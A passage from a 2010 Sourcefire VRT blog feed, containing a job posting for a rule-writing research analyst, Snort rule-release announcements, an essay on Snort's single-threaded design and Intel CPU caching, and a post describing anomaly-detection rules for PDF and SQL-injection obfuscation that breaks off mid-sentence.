same.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight:bold;"&gt;Responsibility&lt;/span&gt; – For your actions and your words.  If you broke it, you fix it.  If you said you would do it, do it.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight:bold;"&gt;Risk&lt;/span&gt; – An environment where you are allowed to take risks in the pursuit of goals.  Risk is the potential to fail and without failure there is no opportunity to learn.  You will be able to take risks as long as you sign up for the responsibility of failing.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight:bold;"&gt;Leadership&lt;/span&gt; – You expect the people above you to actually lead, and trust them enough to actually follow them.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;If these ten things fit your personality, and describe the place you want to work, please see the job description below.  When submitting your resume please include either a comment or something in your actual resume that references the fact that you read this post.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Title: Research Analyst&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Basic Purpose&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This role is primarily responsible for developing Snort rules and other protection mechanisms for Sourcefire products based on information from public and private vulnerability feeds. The researcher will work on a team of analysts that are responsible for rapidly developing the necessary protection methods to protect Sourcefire customers from emerging threats.  Research analyst also work with a variety of fuzzing frameworks, exploit development tool kits, and code coverage tools to quickly developing PoC (Proof of Concept) test cases for public vulnerabilities. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Essential Duties and Responsibilities&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Develop Snort rules, ClamAV signatures, and risk analysis reports for internal review and external customers.&lt;br /&gt;&lt;li&gt;Conduct vulnerability analysis and risk assessments on public and private vulnerabilities.&lt;br /&gt;&lt;li&gt;Develop PoC test cases for vulnerabilities based on the information provided for triggering the vulnerabilities.&lt;br /&gt;&lt;li&gt;Work with fuzzing tools and code coverage tools to develop threat profiles for open and closed source applications.&lt;br /&gt;&lt;li&gt;Debug false positives and false negatives in Snort rules and other protection mechanisms.&lt;br /&gt;&lt;/ul&gt;&lt;span style="font-weight:bold;"&gt;Essential Education, Skill, and Environment&lt;/span&gt;&lt;span style="font-weight:bold;"&gt;Education and Work Experience&lt;/span&gt;&lt;ul&gt;&lt;li&gt;No previous work experience or formal education required.&lt;br /&gt;&lt;/ul&gt;&lt;span style="font-weight:bold;"&gt;Required Knowledge and Skills&lt;/span&gt;&lt;ul&gt;&lt;li&gt;Experience configuring Windows and Linux/UNIX applications.&lt;br /&gt;&lt;li&gt;Strong analytical and troubleshooting skills.&lt;br /&gt;&lt;li&gt;Experience with TCP/IP and networking in general.&lt;br /&gt;&lt;li&gt;Intermediate knowledge of PERL, Python, and/or Ruby.&lt;br /&gt;&lt;li&gt;Ability to learn new skills and apply them in a rapidly changing, high-pressure environment.&lt;br /&gt;&lt;/ul&gt;&lt;span style="font-weight:bold;"&gt;Preferred Knowledge and Skills&lt;/span&gt;&lt;ul&gt;&lt;li&gt;Experience with Snort &amp; other network security tools.&lt;br /&gt;&lt;li&gt;Experience with network configuration and deployment.&lt;br /&gt;&lt;li&gt;Experience with PCRE or equivalent regular expression library.&lt;br /&gt;&lt;li&gt;Highly motivated and creative.&lt;br /&gt;&lt;/ul&gt;&lt;span style="font-weight:bold;"&gt;Work Conditions&lt;/span&gt;&lt;ul&gt;&lt;li&gt;Works closely with software reverse engineers and research analysts to quickly develop Snort rules and other protection mechanisms based on the provided vulnerability details.&lt;br /&gt;&lt;li&gt;Moderate to high levels of stress will occur at times.&lt;br /&gt;&lt;li&gt;Fast paced and rapidly changing environment.&lt;br /&gt;&lt;li&gt;Extremely talented and experienced team members and mentors.&lt;br /&gt;&lt;li&gt;No special physical requirements.&lt;br /&gt;&lt;li&gt;Constant internal training, drinking games, and heated discussions.&lt;br /&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-13839495259316434?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/13839495259316434/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=13839495259316434' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/13839495259316434'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/13839495259316434'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/06/sourcefire-vrt-expansion-plans-we-are.html' title='Sourcefire VRT Expansion Plans (We are Hiring)'/><author><name>Matthew Watchinski</name><uri>http://www.blogger.com/profile/00749294989862848285</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-5205795784062046727</id><published>2010-06-10T17:53:00.001-04:00</published><updated>2010-06-10T17:53:57.112-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule Release for Today, June 10th, 2010</title><content type='html'>&lt;p&gt;Microsoft Help and Support Center Bypass Vulnerability:&lt;/p&gt;&lt;p&gt;Microsoft Help and Support Center contains a programming error that may  allow a remote attacker to bypass security restrictions on an affected  system. The error occurs when invalid hex-encoded characters are used as  a parameter to a search query using the hcp:// URI schema.﻿&lt;/p&gt;&lt;p&gt;Changelogs here: &lt;a href="http://www.snort.org/vrt/advisories/2010/06/10/vrt-rules-2010-06-10.html/"&gt;http://www.snort.org/vrt/advisories/2010/06/10/vrt-rules-2010-06-10.html/&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-5205795784062046727?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/5205795784062046727/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=5205795784062046727' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5205795784062046727'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5205795784062046727'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/06/rule-release-for-today-june-10th-2010.html' title='Rule Release for Today, June 10th, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-6062555550966832954</id><published>2010-06-08T13:30:00.001-04:00</published><updated>2010-06-08T13:30:40.304-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><category scheme='http://www.blogger.com/atom/ns#' term='Microsoft'/><title type='text'>Rule Release for today - June 8th, 2010</title><content type='html'>&lt;p&gt;Here we are again, Microsoft Tuesday for June 2010. A number of issues this month and rules to provide coverage for attack detection. Main advisory numbers for IDS/IPS coverage are MS10-033, MS10-034, MS10-035, MS10-038, MS10-039 and MS10-041. Check out the advisory and changelog here: &lt;a href="http://www.snort.org/vrt/advisories/2010/06/08/vrt-rules-2010-06-08.html/"&gt;http://www.snort.org/vrt/advisories/2010/06/08/vrt-rules-2010-06-08.html/&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-6062555550966832954?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/6062555550966832954/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=6062555550966832954' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/6062555550966832954'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/6062555550966832954'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/06/rule-release-for-today-june-8th-2010.html' title='Rule Release for today - June 8th, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-5489551181667130586</id><published>2010-06-07T15:59:00.000-04:00</published><updated>2010-06-07T15:59:56.994-04:00</updated><title type='text'>Single Threaded Data Processing Pipelines and the Intel Architecture</title><content type='html'>&lt;p&gt;Or,&lt;/p&gt;&lt;p style="font-size: 13px;"&gt;&lt;strong&gt;No Performance for you, go home now.&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Today's blog post is a guest appearance by our Benevolent Dictator and Glorious Leader, Marty Roesch.&lt;/p&gt;&lt;p&gt;We asked Marty for his thoughts on threading, performance and processing network data. Here's what we got:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Executive Summary&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Performance of processes on current- and next-generation Intel CPUs is closely tied to proper cache utilization.  Claims being made regarding Snort’s capability to maximize performance of today’s multi-core platforms are ignorant of the Intel CPU architecture and the steps that can be taken to make it perform on that architecture.  Performance of Snort-like packet processing has nothing to do with threading and everything to do with proper load allocation on the available computing resources of a device.  Sourcefire has demonstrated that Snort can perform at very high speeds on both single and multi-core machines by virtue of proper configuration and load allocation.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Discussion&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;There is a lot of FUD being thrown about in the IDS/IPS world regarding single threaded versus multi-threaded packet processing in the Snort detection engine architecture and its impact on top-line performance.  The claims being made generally center on the age of Snort’s engine architecture and the appropriate utilization of compute resources on the modern Intel architecture.  This paper will analyze the primary claims and provide a technical briefing on the matter at hand.&lt;/p&gt;&lt;p&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" src="http://lh5.ggpht.com/_Mw9WV6qG-BY/TA1Pj4dMOAI/AAAAAAAAAIE/x22DePHG3ew/intelarchitecture.jpg?imgmax=800" border="0" alt="intelarchitecture.jpg" width="724" height="611" /&gt;&lt;/p&gt;&lt;p&gt;Intel CPU Architecture&lt;/p&gt;&lt;p&gt;One of the first things to understand about the Intel CPU is that it relies heavily upon cache for its performance.  When a program is run its code and data are loaded into system memory and they are processed by the CPU.  Read/Write Access to system memory is much slower than the CPU can process data through its primary processing logic so Intel added caching to its CPUs to prevent them from spending most of their time waiting for memory accesses.  On the Intel  Core 2 Duo architecture shown above there are two caches, an L1 cache which is very fast and small (due to the expense of making memory that fast) and a much larger L2 cache which is somewhat slower than L1 but much faster than system memory.&lt;/p&gt;&lt;p&gt;When a program is running, the CPU tries to predict which memory it’s going to need next and loads the L1 and L2 caches appropriately to minimize time spent waiting on memory access.  Programs that perform very poorly will frequently be seen to be inefficient at the cache level exhibiting a large number of “cache misses”. In these programs the CPU burns so many cycles waiting for the cache to be refilled with needed data that performance suffers.  Fast programs are built to take maximum advantage of the cache architecture of the CPU.&lt;/p&gt;&lt;p&gt;With today’s multicore CPUs this picture gets more complicated.  In a multicore CPU with multiple processes spread across different cores the same rules apply in general.  A program with efficient cache attributes will perform better than one that is cache inefficient.  The complication comes when the programs become multi-threaded in the multi-core environment.&lt;/p&gt;&lt;p&gt;The idea behind multithreading is to speed up throughput of a process by having multiple simultaneous threads of execution working on multiple pieces of data.  A multithreaded process that has one thread stalled waiting for data can execute another thread on another piece of data which maintains high overall throughput in the system.  For processes that take maximum advantage of this arrangement there can be substantial performance improvements.&lt;/p&gt;&lt;p&gt;There is downside, however.  Threads that are spread across CPU cores which operate on the same data have to keep their caches synchronized (or, coherent).  As shown in the diagram above, there is an L1 cache per core and a shared L2 cache on the Intel Core 2 CPU architecture.  This architecture is the same on all current Intel x86 CPUs.  When there are two different threads operating on the same data executing across two different cores in this architecture, the L1 caches have to be synchronized with one another essentially for every access across the L2 cache.  Boiling it down, every time you access memory (even for a read) you have to spend some clock cycles synchronizing the cache.&lt;/p&gt;&lt;p&gt;The downside gets even worse if the threads are spread across multiple CPU dies (the physical chips themselves).  Multi-die systems are very common today, for example recent Intel 4-core CPUs are really two 2-core dies in a common package. When the threads are running on multiple physical dies and there’s a cache coherency update to keep the local L1/L2 caches synchronized the updates happen across the main memory bus (or, front side bus).  The front side bus is much slower than the CPU cache and it’s also a broadcast bus, all devices that are plugged into it have to look at any message on the bus to figure out if its for them or not.  Things that are plugged into the bus include all the CPUs on the system and the main memory.&lt;/p&gt;&lt;p&gt;Looking at the architecture of the Intel CPU a few things become very clear when looking at writing high performance code.  Threads should access data on their own core only.  Accessing a single piece of data across multiple cores has major performance impact that will not be made up for by increased throughput in a serial packet processing framework like Snort.&lt;/p&gt;&lt;p&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" src="http://lh6.ggpht.com/_Mw9WV6qG-BY/TA1PkDCQCiI/AAAAAAAAAII/hdfg5vz31bU/snortarchitecture.jpg?imgmax=800" border="0" alt="snortarchitecture.jpg" width="701" height="590" /&gt;&lt;/p&gt;&lt;p&gt;Snort Architecture and Design&lt;/p&gt;&lt;p&gt;Snort is a single-threaded multi-stage packet processing pipeline, it runs on one CPU core and the data that it processes stays resident on that core and in that cache.  Packets arrive off of the network serially and are processed in the order of reception.  If the bandwidth being passed by the network interface associated with a Snort instance is greater than it can handle more instances of Snort can be launched and the traffic can be load balanced across the instances.  That is how Sourcefire sensors achieve their high multi-gigabit performance today, a kernel-based load balancing mechanism drives traffic to multiple Snort instances that each run on a single CPU core and can consume over a gigabit per second per core of traffic.&lt;/p&gt;&lt;p&gt;This design has some inherent advantages.  It is simple and rugged, there are no corner cases that can cause deadlock and freeze the processing pipeline for multiple cores of execution.  Because it doesn’t use threading it doesn’t suffer from concurrency and locking overhead required to maintain the internal consistency of a multithreaded application which hinder performance.  Putting the load balancing mechanism outside of Snort allows multiple (hardware or software based) methods  to be utilized to increase aggregate system performance.&lt;/p&gt;&lt;p&gt;In short, today’s Snort architecture is well suited to take advantage of modern Intel CPU design when intelligently paired with load balancing and platform resource management.&lt;/p&gt;&lt;p&gt;The case for Intelligent Multithreading&lt;/p&gt;&lt;p&gt;Multithreading can be useful for several things in an application like Snort:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Presenting a single point of more interactive management for multiple analysis threads with the same configuration.&lt;/li&gt;&lt;li&gt;Sharing information between threads to provide additional detection information.&lt;/li&gt;&lt;li&gt;Load-balancing across threads with a common configuration.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;In the first case, it can be seen that in a given Snort instance a “nice to have” would be a unified interactive management interface to a set of Snort instances for the purposes of managing the configuration and runtime behavior of the overall process.  SnortSP implements this idea by providing a shell interface that allows a user to construct a traffic analysis thread from major components (data source, analytics, etc) and run them against an interface set while maintaining interactive access to the analyzer thread.  Any modern IPS implementation that provides the level of functionality that Snort does (i.e. open source, extensible platform) should have a similar capability built into it.&lt;/p&gt;&lt;p&gt;The second case of information sharing is useful for a number of applications.  In a multithreaded instantiation where different threads are performing different tasks (e.g. Snort/RNA) on copies of the same data there can be very useful data exchange between the threads such as real-time detection tuning or multi-session attack correlation.  The key here is that if two threads are operating on the same data that the data for each thread reside in independent memory space so that the CPU cache management system doesn’t attempt to keep the caches synchronized.  There will be some overhead for the initial buffer creation and copying but this will be far less than the cache sync overhead.&lt;/p&gt;&lt;p&gt;The third case is one of load balancing traffic across multiple instances of Snort with a common configuration.  Functionally this is the same as what is being done today on Sourcefire sensors except that the load balancing happens in the process and is made less efficient than the current mechanisms due to synchronization and locking overhead of the thread management system.  Given the performance that is seen in the Snort 2.x code base today this third option is not particularly desirable on the x86 platform.&lt;/p&gt;&lt;p&gt;The Intel architecture lends itself to an optimal application architecture where one thread that runs on a single CPU core processes an individual piece of data and then moves on to the next one.  Multiple threads are useful on that CPU core if a single thread would stall the CPU while waiting for data to load or an instruction to execute.  Several of the research paths currently being pursued by Sourcefire involve this architecture.&lt;/p&gt;&lt;p&gt;If the top level worst case of Snort performance is an optimization target then a new detection engine architecture should be investigated.  The current model that buffers and processes packets has memory management and processing overhead that has worst-case performance implications that are noticeable to the user of the system.  A new processing architecture that utilized in-sequence packet processing via finite state machines (FSM) and reduced or eliminated buffering could see significant performance gains over the current detection architecture.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;What Not To Do&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;An architecture that should be avoided at all costs is a threading system that spreads the computational load of a single piece of data across multiple CPU cores.  This approach will maximize cache misses on any single core and require continuous reloading of the cache across the multiple CPU cores that are involved in data processing as well as constant cache synchronization.  An architecture that implements this mechanism will have very bad worst case performance and its best case performance will be far below what can be achieved per core on a single threaded application performing the same tasks.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;In this paper the architecture of the Intel CPU and Snort were explored as well as the architecture of multithreaded applications and their interaction with the Intel caching model.  An analysis of different cases for multithreading Snort-like applications was also performed.  In the real world performance claims of one architecture versus another it can be shown that the Snort 2.x architecture is highly optimized for today’s CPUs when paired with an intelligent load balancing mechanism.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-5489551181667130586?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/5489551181667130586/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=5489551181667130586' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5489551181667130586'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5489551181667130586'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/06/single-threaded-data-processing.html' title='Single Threaded Data Processing Pipelines and the Intel Architecture'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_Mw9WV6qG-BY/TA1Pj4dMOAI/AAAAAAAAAIE/x22DePHG3ew/s72-c/intelarchitecture.jpg?imgmax=800' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-9195261265435577763</id><published>2010-05-25T16:04:00.000-04:00</published><updated>2010-05-25T16:04:25.087-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule release for today, Tuesday May 25th, 2010</title><content type='html'>A maintenance release, new rules in web-client, web-misc, backdoor, oracle, policy and specific-threats rule sets and an extensive set of rule updates.&lt;br /&gt;&lt;br /&gt;Check it out: &lt;a href="http://www.snort.org/vrt/advisories/2010/05/25/vrt-rules-2010-05-25.html/"&gt;http://www.snort.org/vrt/advisories/2010/05/25/vrt-rules-2010-05-25.html/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-9195261265435577763?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/9195261265435577763/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=9195261265435577763' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/9195261265435577763'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/9195261265435577763'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/05/rule-release-for-today-tuesday-may-25th.html' title='Rule release for today, Tuesday May 25th, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-9164715194649708713</id><published>2010-05-18T16:57:00.000-04:00</published><updated>2010-05-18T16:57:55.390-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule release for today, Tuesday May 18th, 2010</title><content type='html'>Changes to web-client, web-misc, backdoor, smtp and specific-threats rule sets.&lt;br /&gt;&lt;br /&gt;Check here: &lt;a href="http://www.snort.org/vrt/advisories/2010/05/18/vrt-rules-2010-05-18.html/"&gt;http://www.snort.org/vrt/advisories/2010/05/18/vrt-rules-2010-05-18.html&lt;/a&gt; for change logs etc..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-9164715194649708713?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/9164715194649708713/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=9164715194649708713' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/9164715194649708713'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/9164715194649708713'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/05/rule-release-for-today-tuesday-may-18th.html' title='Rule release for today, Tuesday May 18th, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-6634177627809835870</id><published>2010-05-12T16:48:00.002-04:00</published><updated>2010-05-12T16:48:25.885-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Vulnerability Report'/><title type='text'>Vulnerability Report - May 2010</title><content type='html'>&lt;object width="640" height="372"&gt;&lt;param name="allowfullscreen" value="true" /&gt;&lt;param name="allowscriptaccess" value="always" /&gt;&lt;param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=11692874&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=0&amp;amp;show_portrait=0&amp;amp;color=ffffff&amp;amp;fullscreen=1" /&gt;&lt;embed src="http://vimeo.com/moogaloop.swf?clip_id=11692874&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=0&amp;amp;show_portrait=0&amp;amp;color=ffffff&amp;amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="640" height="372"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-6634177627809835870?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/6634177627809835870/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=6634177627809835870' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/6634177627809835870'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/6634177627809835870'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/05/vulnerability-report-may-2010.html' title='Vulnerability Report - May 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-5772099497541417332</id><published>2010-05-11T18:31:00.000-04:00</published><updated>2010-05-11T18:31:46.303-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule release for today, Tuesday May 11th, 2010</title><content type='html'>Microsoft Tuesday folks, just two advisories today and two rules to cover them. Read all about it here: &lt;a href="http://www.snort.org/vrt/advisories/2010/05/11/vrt-rules-2010-05-11.html"&gt;http://www.snort.org/vrt/advisories/2010/05/11/vrt-rules-2010-05-11.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Enjoy.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-5772099497541417332?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/5772099497541417332/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=5772099497541417332' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5772099497541417332'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5772099497541417332'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/05/rule-release-for-today-tuesday-may-11th.html' title='Rule release for today, Tuesday May 11th, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-5765236171551231234</id><published>2010-05-06T11:46:00.000-04:00</published><updated>2010-05-06T11:46:18.040-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><category scheme='http://www.blogger.com/atom/ns#' term='Anomaly Detection'/><title type='text'>Known Unknowns: The "Don't Do That" Rules</title><content type='html'>I recently had a chance to speak with several Sourcefire customers on a trip to the Tennessee/Kentucky area. While it's always nice to talk to customers and get a better idea of how people use Snort in the wild, this trip was particularly interesting, since the customers I spoke with were high-end analytical types - people who not only use Sourcefire gear to its full potential, but who also had interesting insight into today's threat landscape.&lt;br /&gt;&lt;br /&gt;With this background, I made a surprising discovery about the way people appear to be using the VRT rules: none of them were employing, or were even really aware of, what I call our "Don't Do That" rules - anomaly detection signatures that find attempts to obfuscate bad behavior, interesting new 0-day, and other generically bad stuff. Since we've found these rules useful, and have had positive feedback from users who are running them, I've decided to highlight some of the more interesting rules in this group, both to make time-starved analysts aware of them, and to solicit further feedback on their use in the wild.&lt;br /&gt;&lt;br /&gt;So, without further ado, here are the rules, and the logic behind them:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;"POLICY Adobe PDF start-of-file alternate header obfuscation attempt" / SID 16354&lt;/b&gt; - This looks for a technically valid, but non-standard PDF header. Will it fire on legacy documents and other odd, but perfectly valid, files? Sure. Will it also find documents where attackers are deliberately trying to evade detection by IDS, antivirus, etc.? Definitely. Given the flood of PDF exploits we've seen in the wild over the past year or so, we figure that the more tools your analysts have for finding non-standard PDFs, the better.&lt;/li&gt;&lt;li&gt;&lt;b&gt;"POLICY Adobe PDF alternate file magic obfuscation" / SID 16390&lt;/b&gt; - Same concept as SID 16354, slightly different part of the file specification.&lt;/li&gt;&lt;li&gt;&lt;b&gt;"SQL oversized cast statement - possible sql injection obfuscation" / SID 13791&lt;/b&gt; - The SQL &lt;tt&gt;cast()&lt;/tt&gt; function on its own is part of any database programmer's repertoire. However, it generally doesn't appear directly in a URI - and more importantly, when it does, the data inside of the parentheses is generally under 250 characters (if the data is actually that long, it's inside of a variable somewhere - nobody wants to manually type out a string that size). Since we've seen tons of SQL-injector malware that employs calls to &lt;tt&gt;cast()&lt;/tt&gt; with huge chunks of data, however, this was introduced as an easy way to catch lots of different types of malware in one fell swoop.&lt;/li&gt;&lt;li&gt;&lt;b&gt;"SQL oversized convert statement - possible sql injection obfuscation" / SID 13987&lt;/b&gt; - Same logic as SID 13791, only with an alternate SQL 